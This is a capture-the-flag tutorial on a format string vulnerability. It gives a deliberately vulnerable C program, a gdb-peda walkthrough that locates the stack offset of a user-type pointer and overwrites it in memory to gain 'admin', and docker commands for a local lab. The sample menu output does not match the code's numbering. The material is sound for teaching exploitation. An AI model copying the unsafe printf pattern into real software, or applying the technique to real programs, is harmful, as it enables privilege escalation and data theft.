Challenge example
Code example
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void secret() {
char *filename = "./.passwd";
FILE *file = fopen(filename, "r");
if (file == NULL) {
printf("Error opening file.\n");
return;
}
char line[256];
while (fgets(line, sizeof(line), file)) {
printf("%s", line);
}
fclose(file);
}
char *authenticate() {
char password[16];
printf("Enter password: ");
scanf("%15s", password);
if (strcmp(password, "secret") == 0) {
return "admin";
} else {
return "guest";
}
}
void menu(char *user_type) {
int choice;
char header[32] = "Hello World !";
while (1) {
printf("\n--- Menu ---\n");
printf(header);
printf("\n");
printf("1. Change header\n");
if (strcmp(user_type, "admin") == 0) {
printf("2. Read secret\n");
}
printf("0. Exit\n");
printf("Enter your choice: ");
scanf("%1d", &choice);
if (choice == 1) {
// Change the header string
printf("Enter new header: ");
scanf("%30s", header);
} else if (choice == 0) {
// Exit
break;
} else if (choice == 2 && strcmp(user_type, "admin") == 0) {
// Call the secret() function
secret();
} else {
printf("Invalid choice. Try again.\n");
}
}
}
int main() {
char *user_type = malloc(16);
strcpy(user_type, authenticate());
printf("Welcome, %s!\n", user_type);
menu(user_type);
}
The objective is to rewrite the user_type
value to "admin" in order to read the secret file
Exploitation
The first step is to identify the offset between the user input used to exploit the format string and the "user_type
" variable into the stack.
Retrieving offset
Retrieving user input
Using the stack
command, it's possible to retrieve the user input location on the stack :
gdb-peda$ stack
0000| 0xffffd340 --> 0x804a08b ("Enter your choice: ")
0004| 0xffffd344 --> 0x804a049 ("admin")
0008| 0xffffd348 --> 0xf7fa7000 --> 0x1e4d6c
0012| 0xffffd34c --> 0xbc2bd800
0016| 0xffffd350 --> 0xffffd398 --> 0xffffd3b8 --> 0x0
0020| 0xffffd354 --> 0xf7dc6830 --> 0x19e5
0024| 0xffffd358 --> 0xf7fa7000 --> 0x1e4d6c
0028| 0xffffd35c ("AAAA") // ==> Here is the user input
It's also possible to search the 0x41414141 value into the stack with the find
command
gdb-peda$ find 0x41414141
Searching for '0x41414141' in: None ranges
Found 2 results, display max 2 items:
[heap] : 0x804d5d0 ("AAAA\n")
[stack] : 0xffffd35c ("AAAA")
Retrieving "user_type"
Using the find
command it's possible to search a specific value into the memory :
gdb-peda$ find guest
Searching for 'guest' in: None ranges
Found 3 results, display max 3 items:
chall : 0x804a04f ("guest")
chall : 0x804b04f ("guest")
[heap] : 0x804d1a0 ("guest")
Due to the malloc
the value is stored into the heap. Here the location address is 0x804d1a0
Still Using the find
command, it's possible to locate this pointer into the stack :
gdb-peda$ find 0x804d1a0
Searching for '0x804d1a0' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0xffffd390 --> 0x804d1a0 ("guest")
[stack] : 0xffffd394 --> 0x804d1a0 ("guest")
[stack] : 0xffffd3ac --> 0x804d1a0 ("guest")
Offset calculation
Then ([pointer stack address] - [user_input stack address]) / 4 = offset
gdb-peda$ p/d (0xffffd3ac - 0xffffd35c) / 4
$2 = 20
Editing value
In order to validate the objective, it's possible to directly edit the "user_type
" variable directly ans see the repercussion on the program execution !
gdb-peda$ set *0x804d1a0 = 0x696d6461
gdb-peda$ set *0x804d1a4 = 0x0000006e
gdb-peda$ x 0x804d1a0
0x804d1a0: "admin"
When the process is continued, the "3. read secret" option apear into the menu :
--- Menu ---
Hello World !
1. Change header
2. Exit
3. Read secret
Exercice
If you want to try this exploit by yourself, you can pull this docker image :
docker pull thectfrecipes/pwn:data_edit
Deploy the image using the followed command :
docker run --name format_string_data_edit -it --rm -d -p 3000:3000 thectfrecipes/pwn:data_edit
Access to the web shell with your browser at the address : http://localhost:3000/
login: challenge
password: password
Last updated